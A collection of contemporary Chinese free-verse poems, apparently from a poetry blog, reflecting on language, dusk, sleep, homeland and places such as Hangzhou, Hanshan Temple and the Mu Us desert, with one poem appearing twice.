我希望这时候属于我的熟睡和安眠 我只是更多的要一个繁劳日辰 以及那些思考的焦虑里面，仅仅多出一点点的 事物。这真的是我自己的心意吗？ 有人会在这个时候夺取那些 本属于他却常常被我占有的事物。 就像刻度，只能围着钟表的表盘上面 十二时辰的每一次都不免 重复来做着关于命运如何的体现。 那么我希望如有形质时，我能 回忆起一些我久久遗忘的东西。 从很远的地方或者从一本书籍 一本诗歌，对于土地 乃至围绕作为爱情而分离时常发生的 主旨时。 天是蓝色的幕布，而此刻却属于 没有观众。台下 也空无一人的好的日辰。 属于熟睡是更为的细小一些， 隐约里面你能看到灯火却找不到 灯火， 你恍惚的更多。 找着自己，为一种并不遗失 而一切的语言， 从它们的开端和开端处企图扩大的美好想法 从你唯一知道，村庄还很远 你可以放松的，还有很久才能醒来。 楼宇 《楼宇》 对于恐高的不断的增加， 就像只能写写冷的风， 无辜的夜色，接着时刻准备于睡眠之前 落入一种虚无的准备。 上面是否有所温暖的臆想， 作为一个白日的延续，和突然需要静止 和沉默的语言。 我们觉得言出于行，想象也并非 是属于我们自己的想象。 于是我们能在，仿佛入梦前的峭壁边上 看到语言展开，复又符合预期一般 对我们的预期有所回应的形状。 像我们怀疑楼宇下面，那个趁着 路灯的光亮，趁着光亮 一些多的倔强的含义而走进 一条名字为楼宇的长长甬道的人们， 她早已经知道了那个 走出漫长的破解之法，或者 她如今的登临，置黑夜于不顾 在于了一些要将某事对我们的感知告知。 这些都是夜晚于我们而言 匆匆又必然的结束之法， 像对一些事情的重复 有开始就有结束，否则你将失眠 你的困惑会将你 全然的被一种阴影一样的薄暮所笼罩。 难不成你是要把那个 楼宇的不断的增高，乃至静止本身 对于静也是动的有所展现 一并统统都告知于你了不成。 所以那个手可摘星辰如今，变幻了又变幻 ——唯有纸张不变。 唯有泛黄的纸张与诗歌 保持了一直延续，便注定在今晚失效的关联。 呵，你一开始就被弄了个措手不及 甚至那纸张上面的，分明正是昨日 干涸的沟壑，某一条大河早已经逝去的遗迹。 乃至有一个有关于造纸术的奇特来源， 那善良的人儿惋惜着 河流于文字中的体现源自于不忍。 所以难不成这楼宇是古老的城堡，而你 是城堡之中，仅剩不多的士兵。 乃至意图不断升高的楼宇有着了望塔的 意思， 你做着准备， 为登临，观望，查看 那么为何事实的真相却是，为一场久未有之的 睡眠呢。 你恐高，也不会等来 那个锦绣一般的女子的旧日。 你惋惜别人也惋惜 如果不是那个人儿， 她恰巧转了个身，有某些东西遗落 定会有人儿，同你一样子的，在此刻惋惜。 无题55 《无题》 灯光，和覆盖在声音下面 一个蓝色的星期五。 有一个已经制定了很久， 像是语言，它虚假的自我明证 从某地到此处。 或从一个高高庄严的殿堂，到了此处。 女人，呵，是我的 便也是别人的我的女人。 如果蝴蝶美丽的翅膀， 傍晚停歇震颤。 紧紧贴近柔美的曲线， 堵住我悸动之心的，使我 回想起一条蓝色的河流。 积蓄，回荡 蓝色的星期五总能， 以这样或者那样子的一种形式和变幻。 来知晓我心中的痒处。 因语言中桃花的凋零，一座傍晚的殿堂 才陷入了坍塌。 那样仿佛需要比时代还要高升的雨 其实只是一些别的什么事物。 只是风景如此重要，一只知更鸟不再鸣嘀 节奏的悦耳里面 它如何巧妙把飞翔遗失这件事来告知呢。 不再。 从阴影中走出渴望灯火的人儿， 是你还是我呢。 难不成以一副残破的身躯， 身躯的苟延残喘所言说的， 多么可笑，无聊的宇宙么。 但请给蝴蝶一些 给更多的时间予她。 诗行凋落前的永固性标榜也不如她 不如明媚的女子 轻轻走过潮润，多情的堤岸。 走过我心中的影子我还记得 那是些缘何蓝色的星期五 或着那条蓝色的河流 会停滞，会积蓄的缘由。 如果我再不能只仰望，那些由悲苦农民 组成的虚假的天幕 幸福为什么总要客客气气的逃脱呢 为什么洒落的雨水依然如此的普遍， 湿润了我混乱的语言。 有人会唤醒他骑士衰老之后， 马圈里面暮年的马匹。 繁星的寓言总是说着， 我们的新的家园，它在那遥远的 勇气殉国之处 爱很小，蓝色的星期五从来都是合适的事物 为我也预留一个位置吧， 不在勇士的脚印 是爱情 一些前人对谎言的无惧，大理石的沉默 我也只是偶然间走过。 无题。。。。 《无题》 没有一个人的一生，趟过初秋的雨后 会说，言称多于一个词语。 对季风的反应就是这样，也没有屏风 难不成需要杜撰一个带着莫名情绪的对话者， 那些众多的风声和众多的朝代 你不能指认，在我腰间鼓鼓囊囊的口袋，是多的意思。 不能呵，仿佛我不能回还，或者非常可笑的事情是， 回还的人儿竟是我。 在一颗被锯掉的树木的根部，在一棵曾浓茵满布的梧桐树下， 在一颗星辰如知道并遵守了那些空洞处的暗格， 在我跟你对话时，你所赐予我的是无穷的放松。 语言当然是繁多的，甚至在语言的水面之下 因果和命运，轮回和善恶， 我想起那些傍晚飞过村庄的鸽子，最多它们只是一些久久已逝去的鸟儿。 捕捉它用踪迹毫无的天空，但我并不能 从这脆弱人儿语言贫乏的全部幻化，仿佛在那些短暂的飞翔之后，事物 总会落脚，并以落脚而明证着自己。 粗糙，斑驳 也不具备任何的滑稽的拯救性。 你不要，我也不要 把那些傍晚洒落的阳光， 理解成别的什么，暗喻为别的什么。 人为什么会有回来的提法，一株草木为什么需要 参与到民族和国家的悲剧命运当中呢。 你又在哪里， 你说出这些话时，我的思绪如此的焦虑和凌乱 有一扇我从来没有推开过的门 就像有一个村庄正在陷落，始作俑者也并不重要 鸟儿投下影子， 阴影的路途比飞翔的漫长还要漫长。 赞美骨笛 赞美骨笛 《赞美骨笛》 赞美骨笛， 离去的将回来。 试图离去的必然将有着， 他们病痛的耳朵。 他们的全体或者某一个， 过去那一段，曾试图躲避， 寻找着，并遁入群体的颓然努力。 回来的多姿多彩有时 是岸上的一株迷惑的梨花，而真正的 事物比邻于人们沉闷的叹息 要回来的历史也是短暂的。 也是直线的。即使这些总可以，总被允许 被人们肢解，被长大成熟之后称之为思的东西。 你靠近时没有声音， 我也获得不了什么具体。 入夜时我只是隐隐约约听到了远处的异响 赞美骨笛，骨笛对于自身突然的陌生。 没曾想它的躯壳会被抛离那么远 为了划下这与那，有所界限 骨笛的躯壳应当有着新的历史。 所以，在之上，在水的更深处 那本有关于云南，使得我干脆对你置之不理的 诗集。 呵，那储藏了许多的声音 他把自己想象成了一个悲伤的陶罐。 他也曾听闻过陌生，思考，于是在沉默里面 有了银白色弧线的美丽。 呵，所以我并非对你置之不理。我爱你爱的痴迷 爱的发了疯。 我竟然知晓那人儿唯一的一点是 如何入睡的困难。 或许林木苍翠，我心爱的妻子。我想告诉你 那人儿伐木丁丁，始终难以遗忘一个北方未曾谋面的故人。 所以，这些繁多又零碎的事情 那些或明或暗的线索，前进 的通道发生，难不成 终将有一个必然的结局，一些如诗歌所言 潮平两岸阔更早之前，所烟笼寒水月笼沙 在事物羞涩的外围，所朦胧，模糊的雾气不成。 所以，我应该去哪里才可以取来花瓣。 你甚至比遥远的高原，痛苦的高原还要遥远。 终其一生你我都不会理解， 而语言的解释或那个语言向着自身之轻 有时候疾走的人儿要返家 天空的背景，大地的背景，乃至容易匆匆遗忘的背景 返家而注定了返家的路途无限的遥远。 线条 线条 《线条》 群山怀抱它们自己的秩序， 在被赋予， 也只有诗人才可以在如此紧密的团聚之中 从山的躯体，沿着那些绵延的裂缝 想象的刀子伸了进去， 银色的光线洒落了下来。 所以，我是说偶然之中的来者，有时候他多么的具体 有时候来者来时絮絮叨叨， 说着一切结果都只能发生在诗言。 我的具体，呵，那个来者如果是我 我又陷入了如此，像令人烦忧的事情如此众多一样 烦忧于，此刻 也就沉默于此刻。 我学会了把不该倾诉的以倾诉的方式， 学会理解本地的乡民， 把一湾只有半截的池水，蓝色的荡漾 戴在了头顶上。 迥异的，遥远是事物。令人迷幻的帽子 风霜它从来不会对容易去辨识的来者下手。 难不成我来时如此轻松，这些南方诗人 笔墨早已经进入了现代工厂新的定义不成。 烟囱上面冒出了， 你我需要去认真观察的烟雾，一个不留神 就会变成一个永恒的哑谜。 变成与赏一江秋月白之后终还是有一个归期， 在我来的有着汽车车辙印记的路上， 轮胎转动压着的，要使得那些潮润一般的反驳 不至于猛烈。 但谁人呢，你我都不能从诗人的脸颊上面看到一抹绯红， 乃至那云雾缭绕的更深处， 也绝计不是那个具体， 一朵花瓣怎么舍得离开枝头，离开我到来以后 苦苦寻觅的芳踪，她旧时的爱人 而去渡那，使她难以反驳的命运呢。 呵，诗人。 原来我来者有因。难不成一切皆如此么 难不成群山，即使在苍翠间，馥郁的春夏秋里 也是轮转褐色阴影外面 长久沉默的结果。 我想你是知道的，想那些试图不再压抑自己 起飞的村民们，乃至那些大山深处对于寻找和 追求原始的嘲弄。 诗人怎么可以来到了一片水草丰美之地呢， 应当是巨大的幕帘，长长的边角 重复的水岸和青草。 我也迷路了，迷路的星星一样的语言 而更大的语言因此照耀着， 微弱光芒里面， 与村民，与大地上赤裸裸的穿衣的腹部 拒绝血脉的你我， 让那个诗人必然来到了，水草丰美的永恒如谜那里。 傍晚 《傍晚》 我们都应该向那里进发， 有所遗漏， 并不重要。如果 不能谓短为长，而长常常有着 易被沾湿，潮润的可能。 如果我转身，躲避的也绝非 因此充满了幸福感的语言繁多的事实。 我也一直都觉得傍晚的阴郁需要 阴郁一般合乎自身的形容。 每个人儿都在空荡荡说话的， 黄豆一般，从故乡的田地里出来， 从多向着多的 带有小孔的箩筐，筛选的聚集。 呵。在傍晚我迎来的岂止是你是我， 他是我，接着走近与走远呢。 我甚至觉得脱缰的兔子傍晚并不突兀， 拆迁里面才可以人类一般居住和安睡的 生灵，它注视着我时时的行为 正往那水一般的幽深处， 而探视正使得水，它如此奥妙的形成。 正使得我是我是沉默的， 怎么不是呢，你瞧 街道上吆喝的摊贩与一个梦的贩卖， 买来一个入睡的物美价廉又因此， 深入到了白光里面， 身影一次次进入一座亭台楼阁。呵 分明人总是暗示了自己的无辜和可怜， 人，甚至褪去衣服的那一刻 才有一些轻微却玄妙的声音，尝试被追溯着 形成一个没有尽头的甬道。 形成我终于摸到了我想要说的话， 兰庭一束束，你不懂也是 我自己也不懂的意思。 从车上下来， 从山崖被我用脚步丈量的鱼鸟之姿 从山， 它会有两次出发自我的相遇的形成。 暮色山影不是此刻， 一些话语也并非寓居于此刻， 看起来因此而来保护一般的寓所。 没准从旱地的干燥才能走到一座山，它傍晚的 秩序和线条。 我是说我拨弄了指针的毫秒， 群山会记得我匆匆遗忘里面最不可遗忘的， 那时候绯红的脸颊也应该是听闻我的 絮絮叨叨之后绯红而丛生的。 虚空 虚空 《虚空》 容易五千年， 容易四千年那里有很多的人 为了一截一千多年的虚空， 语言更早以前像拖拽着人儿的耳朵。 不仅仅倾听，它向前俯冲，突出样貌。 这个颠倒次序，变客为主的虚空 在以后岁月里面用以应答，回忆 自己虚空之由来的形式 是一千多年的如海水茫茫。 但唯一的一点契机， 清晨的鸟雀在树上，抓着高枝微微晃动。 清脆啼叫纤细的一缕，非这也绝非那个的 纤细。 呵，如果不是我的那便是人类的处境， 如果不能指认徒劳建筑而回还终将沦为空谈 手掌已因摩擦生出了难解的老茧。 比文字如何，又或者应该有一阵秋风 又或者我该相信秋叶与莫须有 手掌上面文字古老的化石。我不能忆起的 是一个虚空一般只有无数手掌 抬起，而人儿不见，丛生的历史。 难不成一个一千五百年的历史只是多么轻微 其他事情最初的据点。 在心中默念着放松和试图回还它那个空谈， 那些极易的事情怎可能。 开始于多么自然和未曾有所预料， 一千五百年的历史丝毫不顾及自己 人们口中实则孱弱的结果。 不顾及剖开来了会有里面，使得同样空虚的。 比土地更空虚是一千多年它自己的空虚。 谁呢，蓦然间我怎会期待又下了断言 会有告知的答案如清脆的银铃么。 会有么， 开始而非结束，比我更困倦的 答案如一束紫色光线，它回返的路径 它丝毫不自知于这种 并非如触摸在水的表面，湖水表面那个短暂的 长久提及。 连这些清晨里面院中事物也有着 混乱的一面。 五千年如此的容易，难不成它因此更加的等待理解， 它固定在了那里， 秋水一般的含蓄是他人的众多需要， 人从一扇门那里走进，另一个身影 他正做着，共鸣般的别的事情。 如金色的糖果，一颗被拒绝坠入土地的 解决办法， 在更远的对岸，没准 相比于一千多年的虚空，只有使它更为空虚 人儿吃了一颗糖果，甜的应答的 也是回声的语言，重复以前就穿过了这个虚空 无题，，， 《无题》 我想写暗夜里的云， 事先就能预料到的结果 事先圆珠笔就被赋予神圣的 庄严场合。 如果像所有我所见所闻一样的 四四方方，方方正正。 由砖块和石灰， 磨平修正的工匠，一身的好手艺，更早之前他 跟随历史抛弃了那个石坯和泥土的方法。 用笔我掸了掸， 穿过的，是在今夜聚集 从四面八方赶来于这短暂，瞬息又难得的盛会。 所以我无法把如此短暂 穿过时空的想法更坦然的告白。 在时间和距离的分割线上， 我与那个泥瓦匠师傅的闲谈， 从自己小时候，到跟着父母去看社戏 记忆犹新的讲述需要花费很多的功夫。 情景里面的事物也如此的清晰， 杂乱的摆放在一种对事物位置的回忆录里 也是清晰的意思。 但它并不告白，仿佛当人的语言收回去时 弥留下来的是一种盘庚，一种等待。 呵，多么长久 很多事物都因此蒙上了厚厚的灰尘， 很多人， 我，你，邻居和他人 都来自于这种或远或近蒙尘的起初。 难不成我已经迷乱， 一开始的隐藏，心绪的难以平静 在寂静清冷的夜里面对， 那些偶尔企图被呼应时。 它们在自己的沉默与安静里面 被赋予了人类语言的色彩。 更深于云还是更加的浅薄， 夜里的云彩在暗处有着彩色的台阶。 我从那里下来了， 实则一种观，窗台上面那个每天夜里 嫌弃着夜色的少， 脚儿安稳的鸟儿。 我下来之后， 我带来给予自我的平静它远远的足够了。 傍晚。， 《傍晚》 哪一个，首先的一个 破旧的木门听从破旧这样子的文字 只是它，这个微弱本身难以察觉的旁白 和余波。众多波浪的暗示存在里面最为 渺小，不可见的那一只存在于了你偶然的语言。 你甚至因此穿过了一重又一重的阻碍和花影， 来时从此到别处，只看一眼 借着瞬息那短暂便展示了自己，向一个人儿 它广阔的部分。 穿过入秋后开始凋零的花圃 没有一种花可以逃得过它们愈加被凸显的命运， 有一双手掌托举出了，让一个花圃里 作为个因而团结而整齐的今又结果般应对于了 命运般的美丽么。 但接着你穿过了一扇夏天刷过漆的铁门， 你以为即使自己不是主角，但在副词那里 没准鲜活的存在感会驻留和落脚。 分明你难以应对这些虚空一般，迥异又偏偏 沉默的室内木门。 像是寂静中有一种走动，像是别人的思想 在之前的某个时间段里，走入了你的脑海。 一切你有别人也有的说法多么的无聊， 我们借此遮盖和继续往常一般忽视，忽略的生活着。 而生活因此才是了主角。 那意思，干脆就交付给历史的蜿蜒曲折吧。 我不等你了，傍晚时分，烟囱里升起炊烟 该吃饭了。 是呵，而且无论是肚子饿了。 从最初的一声咕咕叫到以后再被重复说出 我想所有的事物都具有这种 今天没有而在明天便被补齐它今日所缺的形式。 可是视作今天的漫长， 跟今天的匆匆和短暂是一个意思。 你把褐色的枪口对向那里， 一棵梧桐树下又是如何，你猜测到了 众多时辰的遗落里面，偶尔也藏着一只 准备休息的鸟儿。 难不成你也在一天的末尾开始了沉默与变幻， 只是一件试图褪去血肉 褪去鲜活常常对于他人的反驳， 寻一路径的得偿所愿，那个木门一般的静默 是着事情已经结尾的意思。 那么对于你而言，这样匆忙的一天岂不是 将再一次的在朦胧和迷雾中浮现 连我也无法再继续躲藏 阴暗的夹角，破旧家具的缝隙，所组成 用以容身的场所。 那么事情的清晰就像傍晚 在圆形的钟表上面，指针指向了天气的 形容和比喻。 没有雨，雨更早之前逃脱。语言是坏的 桌子上放着试图永恒性的水果。 我呢，抵抗一种莫须有的而你，同样 需要人儿来看清，那朦胧之中的清晰的告白么。 难不成你与我本就是一件事物， 韶华流水，手指轻触接着那虚空的表面便波纹一般的 荡漾。那么说没有一个对应物你也懂，而你 分明就是最后一个到来的人儿。 暮色的场所我又陷入一阵晕眩和焦虑 我记得鸟儿展开翅膀，落在窗台前的样子， 记得你是一个市井的摊贩 我从你身边路过， 一天有时候有别人写出的清晰悦耳的诗歌， 有时也没有。 越剧团 《越剧团》 我觉得里面有很多的形容词， 摸到时，一双眼睛会注视着我。 凭票进场还是 戏剧尚未开始。难不成阵雨追的 人儿急迫， 那残缺又覆盖的印章，遮住了文字 我们便走入了后台的光景。 但我不能说， 相比于舞台上的于心不忍和盆栽一般 空留它的形式和样貌。 一支美丽的花瓣也不曾想过， 当它完整的被摘取一片。 被我身后追赶的风和茫茫夜色也属于我时， 一个女子会对于，那些对于她的形容置若罔闻。 而我只能在突然的停顿后，休息 即使我知道一些存在的界限 一些布谷鸟高升一般，又有时像夜空的星辰 落下，但不会止于地面。 那线段是一条河流，一直明暗交错人们不甘于 便使用手指使它的笔直来错乱。 为何听闻我对于暮色四起的寒暄之后 她并无多少反应呢。 难不成对于从彼到此她浑然不知， 她并不觉得超出丽水，绍兴或衢州之后的 事物，那些长着翅膀的人或物。 只会在她的嘴里引起一阵轻铃般的笑语么。 谁往后台高声喊了句某某人一声准备呢， 是了，要把名字隐去，要事先就事无巨细。 要打开香盒往眉黛上面， 替那个天青色描画更忧伤更细长的群山。 原来已经不再年轻了，原来你也 是个不愿提及往事的北方之人。 ——你应该在台下，在前面 应该持票入场，按照次序坐下。 而且，历史已经过去很多很多年了。 ／ 是嘛，难不成我说的故乡的板凳 它也会变幻它的形状吗。 难不成那个小青，更应该改成 小青她是谁？ 流水问题 《流水问题》 在狭小的室内安排了一场流水， 安排一场东方人土地上面， 只能升起我们自己土地的历史。 没有古老，略过建筑，一并 还有一些时间可停顿下来，听闻 你我的絮谈，谓之一派流水。 当然，从模样上看水属无形。 既不向前也不永恒倒退。 循环在这个幽暗室内，没准流水只是 弦音一起，困乏之人出于求救一般 却只让那个短促出现。而代表着疲劳的想象 接着胎死腹中。他眼神涣散偏又追求平静， 对于此又总过多思虑于缘何彼的缺失和不在。 流水之影更甚于流水，流水因此将告知 你和我，当我于同样，空空的山上摘桃花 并把桃花压缩进对桃花的思念之时。 流水可神奇的视若无睹于所有， 结果于它的悦耳诗言。甚至一位诗人也 不觉麻烦，驾一匹莫须有的必然之老马 捶胸却欢喜于桃花诗歌里面终被言说 出来的隐秘。 所以，傍晚一来，指针那隐秘的拨动暗处的 咔嚓声。 一个因果还是你呢，你只能在落得 一个过程对于心灵的安慰的重要，你只能在 空空同样的室内听闻我说起 因流水之影而流逝永恒的誓言。 月挂高窗，你是谁，你究竟 对于询问的沉默，沉默中躲避的那个用以 愿望， 那片缕难到还有着比问题更重要之处不成。 这焦虑使你也使我难以逗留，室内昏暗的光线， 悄无声息的呼吸声。 难不成尽显急切，你准备回答的时间竟如此之长。 枯坐 枯坐 《枯坐》 如老僧枯坐，这静止的永恒与隔着 纸制一般的窗纱只是一件事。 另取彼端，那僧人般愈加佝偻的身躯， 并非出于好奇下的恶意，时辰一深里面 语言往自己的内部。问询取代了表达，有万千 同样之问询正面临这副身体。 但枯坐者只是用沉默装点着自己， 依然属于人的手臂缓缓垂下，左右叠加 以最为自然平和的姿势，从一种空中走来。 这是我仅剩的唯一一点大胆，语言的谱系 由词语和声音的念白，互相脱离又呼应之中 必然也有着。关于枯坐，背弃之决然，沉默中 于自己身上静默转向迷惘的文字。 我甚至被包裹在了个体语言被赋予责任的 严密外观那里。人举起手臂，我在沉默中 自感经历了起初的一次失败。 而我再次举起手臂的缘由是对自然的反驳， 是对宗教上面看作枯坐与一条河流永逝的近邻。 好来以此，逼退一位，如今枯坐于室内之井 落而下的姿势。 所以，我可以说，是语言组成了他。语言又有着钟表圆盘的具象化。转动，不停， 有那么多人在经由我的拒绝而得以成行为我那里， 隔绝了天色。 枯坐者所要面对，一派流水的空虚之意已自觉， 却因此有着虚妄探险的企图。 所以这枯坐怎可是眼见为实的室内，坚固的墙壁，竖起几何般精准建筑的结构。——寓所内通天之塔， 而承应则贫苦，双手劳作之美。 没曾想，这远已不需要老僧，唇内四方宇宙， 寻找自己舌头的辛苦。 那远的历程难不成早已如缚镜者一番乔装打扮， 几次身份变幻后终成为匠人，城外 寒风中摘下了群居，自我妥协的建筑布告。 那么，这寓所属于何人， 端坐者是否又经历了，拿来纸张，令布告自我成疑上面 对于书写者自我的迷惑呢。 枯坐者于是对于一番虚空，绞尽了脑汁。 他自我想象的神思，远处长着翅膀，栖息于林间的 莫须有之马只会在饮食之间，破碎自己的牙齿。 而那空间更近，更远的恍惚。从自我只好以沉默 来试图补救的失语的瞬间，文字已经消失于了 那纸张上曾清晰书写的痕迹。 枯坐者于是徒有其形，令人想起了那番远在别处的思索， 当远也逃不过才为了远， 室内有向下遗漏阳光永恒的缝隙。 光芒垂下时，一支夜里的白鹤一般，有守夜人的外表， 并以枯坐者的样子， 把那谁都不能对万物流逝的有所为来干预，他 因此才恪守了自己的职责。 寒山寺。， 《寒山寺》 已经是内里之后的事情， 又带着秋风里面，那些折光的 镜子一样的断片秋叶，反射着 我们孩子式的心灵。而我们刚来到此地 或者停顿的注脚，因突然的困惑和疲乏 像此地掩盖不住的水流，取于静 静中仍然需要比人所认定，才更多的时间。 乃至事物具体而鲜活，是对于北风的寒冷 侵袭，有一种具体体验。在河面修正 对静止和沉郁的解释，他铺开来，讲述之中 迟迟缓缓的到达。 抵达也是对的，也只是一片落叶对于 我试图收回自己惯有浅薄和恐惧的反驳。 甚至未能深入庙门者，是我，又困惑在了另一个问题。 林间空地组成了什么样子的广阔空间， 从语言的曾属人的悬崖下来，即使留恋的带着 众多和纷纷这样的乞求之词。跌落的声音并不是秋叶 落在地上之后被人的脚步踩出的碎裂声。就像我 一直只能从短暂回到短暂，从深秋与冬那里 线段一般所赐予我的短暂安宁 被解救的文字想起了鹤的羽毛，像我也同时想起了 我曾自信指出养鹤问题，别人沉默的不予回应。 情台上生春绿，如是错误 乃至只被发现的荒谬在于，上下跳跃又永寂的灯盏 已不合时宜呢。只往前迈出了一小步 脚印一般养鹤问题的近邻，温暖的居室我分外熟悉 这语言同样有着脱离自人言那里的陌生感 阳光倾斜的手术刀，昏暗与光明的互相交错那里 我想象了时代的屈服，痛感来自于腹部，平躺唯一被偶然赐予的巧合 我也是青砖的某一块 与那养鹤问题，中年人以诗人的九章而言难以深入多尴尬 但土地给予了我们寄托 它不止是寄托，已经很久了，即使它有所期待时 它沉默，如寺。又宽容于一个具体真实的凌乱之心 桉树 桉树 《桉树》 听你说话时很微弱， 桉树在今天最后的晚餐前组成了你。 时机真是巧妙的无限 桉树组成了你的门扇，展示 现代化的阻拦上面。石匠离去之后 你对于劳作辛苦之痛的惋惜。 语言里面，某物是死的。好敲开一扇绝非巧合的门。 无生命又把 那个寡言姿状的窘迫样子往下推了又推，即使 它以为的丰盈，它实在没什么可以给你。 知晓你有整洁的室内，找到你时 那矛盾和冲突，甚至事先要把灾变，幻想有一场蔓延到范围 吞到肚子里，绝口不提才使得文字的夜晚发生了。 绝不是，是也不是阴阳割昏晓间，干枯，四下环视的居室 北方的枯坐者从雪的料明之中，早已经跌落山谷了。 好不容易手上才有了一般干枯一半使得干枯更加枯萎的拯救之深呢 最为迟钝的办法就是行走， 你在之前的地方逗留，写作，幻想这个词语 它在高高的高原上面找到了一口 让桉树获得生存保证的泉水。 或许我也是错误的，于是你沉默着不语，脚步 移行到了反光一般的另一块上。难不成 桉树这个名字竟然是错误的么。而它不仅遵从于北方四季的传统 叶子掉落的原因竟也如此需要你的惋惜。 你已经不是之前逗留，停顿时候的你了。 因此语言对于光芒的敏感，在夜里如此的清晰和放大。 你甚至因此更加的是你，屋子里没有人能解开你的心脏 没有你的知己会在 琳琅满目的药品和氧气瓶之间，走出，拥抱你。 那么，雷平阳。我能否在有关于天色较暗，水流变缓 甚至故乡一点点下去一锄头就诞生出黄金和矿石那里 找到你嶙峋的骨骼呢。 如此说来，我岂不是携带着桉树怀念故土，又决意远离的种子 踏波而来。 甚至你又是哪一个呢，枝杈上面只为了等待一次 并不会出现而结果依然绿意盎然的奇迹 在夜里李白被悄然肢解和拆分的诗句，遂有一种远古之痛的被考察，被考据 是木舟上面载着， 令猿猴躲进了深山，对影成三人的今夜之行径。 应当匆匆又忙忙的结束 卖报人作为一个旧职业，他只出现在夜里 事先占有了你想用来悬挂信笺的桉树树枝。 对于今夜可能会化作哀怨的一团火焰，桉树也会不满。 因为登天梯总会在攀登以后， 消失掉它来时的台阶。 桉树已经一次次体验了城市如村庄 和谚语中前不着村后不着店的你的居室的夜晚明亮。 手儿往台上扔了一支表达不满的水果 即使那是你在故乡文字里面的珍藏 你甚至会鱼犹豫于是否更进一步面对那个带着巧合 悄然的月光如水时。 所听到的如此真实的门和语言的幻觉。 归家，。 《归家》 难道。人自身明证在了 文字狭小，幽静又纤长的 空间里面吗 在傍晚，夜对于冬天的解释 是暮色一次次向我展示，即使并非我一人 它急切的心意也一次比一次 更近的靠近于人的面颊。 而我如何看待一棵岸上曾有过， 枝繁叶茂，为结果而做了所有准备的红果子树时 我就会如何的看待枯萎。 甚至，语言也一并随着黑暗越过了门槛 ———枯萎中并没有多少对于凌冽，陌生 甚至衰竭中新生之唐突的准确描述。 而我的心绪却一直渴望这个傍晚 可以从一而终。 这些诗歌给予我所想象的，越来越是它的外表。 这便是我的答案， 车辙压在马路上会有雪的声音， 傍晚，没准傍晚丰富的意涵就在于 借着朦胧，模糊 它是要将它包裹。而这一行径又会蔓延 依靠于我这个陌生旅客的登上车厢。 我看到不远处的村庄点亮了灯火 用那些微弱，正与它从诞生到湮灭的群山 发生着共鸣。 而对于我而言， 这意味着我的回家之路，在起初的凌乱之后 开始出现了一缕希望。 呵，之前。之前我竟全然在了一种迷失之中不成。 甚至那个询问我是谁的人儿，正是我自己吗 于是我尽力的回想 在暮色最初起时或者，在诗篇最初的凌乱那里 不仅仅一些一直存在，倔强的乡愁 微弱的生灵掺杂于普遍，平凡 他的倔强而起正如同夜中 忽然闪过了一阵风，极其微的奥义在于 那生灵们在夜色中起伏不定的生命意义 正组成并召唤了它们。 杭州城，。 《杭州城》 下了山 如果你不是当地居民 或别处一方富甲。 那么即使在风景秀丽的杭州城， 你也应该为自己的归宿开始担忧了。 露宿街头不失为一个好的想法， 可古往今来真正如此实施，在大地上 把仅有的衣服和被褥摊开 又在简陋窝棚里面容身的人儿有几个呢。 诗人，浪子，逍遥快活 视现实为虚幻的陆地神仙或许尝试过。 但更多，风餐露宿是一种被迫和无奈的行为。 他们饥肠辘辘 是流离失所的难民。背井离乡的老弱妇孺 躲在母亲奶水枯竭怀抱里面 正用一双警惕又明亮眼睛，观察这个世界的孩童 ————我想有个家 暮色四起，顺着坡道下山时我听到他们说。 我听到， 声音沉闷又阴郁 像夜晚的雨只发生在了竹林和枫叶林带里 风再怎么使劲的吹，使劲的摇晃 也无法将那雨从纵横交错的斑驳里面吹出来。声音， 竹子和枫叶林，还有湖边的垂柳，杨桦 在我的眼睛里都突然变成了 夜晚大地上风餐露宿的一具具鲜活生灵。 我被这些声音和阴影包裹着，脚步迟缓 而又沉重。 我也知道，在此刻，属于杭州城的不再是浪漫，奥妙 和诗意。如果我再近一些 朝随便哪个岸边的树木再走上一步 这些由流离失所乡民们一代代的悲苦所组成 具有树木形状的盛放之瓶 就会悄然破碎。 ———像有另外一场浪漫一直隐而不发 出于人们的怜悯又无情， 这一等，就是千年。 毛乌素 《毛乌素》 毛乌素。源自于蒙语 或突厥语。显然它太渴了 总过分的去爱一个来者，以至于杀死长留此地。 一种语言的过分堆积， 一种之后对绿意出于人道主义和历史性缅怀 的种植。 于是，是一种早已预料到， 每次来的人都很少，对于惊叹不屑一顾 在一片矛盾与冲突的海洋之上 土地下面试图寻找到沙漠微弱的倔强 反驳里苍白的骨头。 几千年前，据史料记载 这里曾是一片汪洋，曾有胸襟与天地一样 广阔和粗野者。只认识天，只认天 只认识地。只认大地。 于是那个只认女人和女人鲜活，馥郁肉体之香的莽夫 渴了，下马。在此饮用干枯了一整个海洋的水。 但沙漠的由来而今正面临着另一种情况 汉族人中一直有着，站在城头欲开嗓向南之时 未镶嵌整齐的胸针掉落之典故。 那些风在风言风语中显然也需要被正名 原因不能仅仅停留在了 一种无形莫名对裙摆的抚弄上面。 所以，当来者被反馈为。毛乌素 它是一个循环，一个作为后果的沉默时 书籍中常常提及的风卷尘沙，马匹就四散奔逃 早已经勘察不到。 诗歌如今它需要去做的事情是如此之多 每一个对应缺失的地方，都需要它来展开 新的书写和新的告白。 而技法上面的一种悲痛和回转 决然也会在一种作为意外收获的诗歌那里 苍白的颜色，光线的不可逃逸 像一种黑洞，语言上的，南归时也是。 毛乌素沙漠 毛乌素 《毛乌素》 毛乌素。源自于蒙语 或突厥语。显然它太渴了 总过分的去爱一个来者，以至于杀死长留此地。 一种语言的过分堆积， 一种之后对绿意出于人道主义和历史性缅怀 的种植。 于是，是一种早已预料到， 每次来的人都很少，对于惊叹不屑一顾 在一片矛盾与冲突的海洋之上 土地下面试图寻找到沙漠微弱的倔强 反驳里苍白的骨头。 几千年前，据史料记载 这里曾是一片汪洋，曾有胸襟与天地一样 广阔和粗野者。只认识天，只认天 只认识地。只认大地。 于是那个只认女人和女人鲜活，馥郁肉体之香的莽夫 渴了，下马。在此饮用干枯了一整个海洋的水。 但沙漠的由来而今正面临着另一种情况 汉族人中一直有着，站在城头欲开嗓向南之时 未镶嵌整齐的胸针掉落之典故。 那些风在风言风语中显然也需要被正名 原因不能仅仅停留在了 一种无形莫名对裙摆的抚弄上面。 所以，当来者被反馈为。毛乌素 它是一个循环，一个作为后果的沉默时 书籍中常常提及的风卷尘沙，马匹就四散奔逃 早已经勘察不到。 诗歌如今它需要去做的事情是如此之多 每一个对应缺失的地方，都需要它来展开 新的书写和新的告白。 而技法上面的一种悲痛和回转 决然也会在一种作为意外收获的骨头那里 苍白颜色，光线的不可逃逸 我总觉得它分外耀眼 诗人才拒斥于这种耀眼。 它在毛乌素沙漠的沉默之意上很短 在沉默本身上却绵延直到了南方。 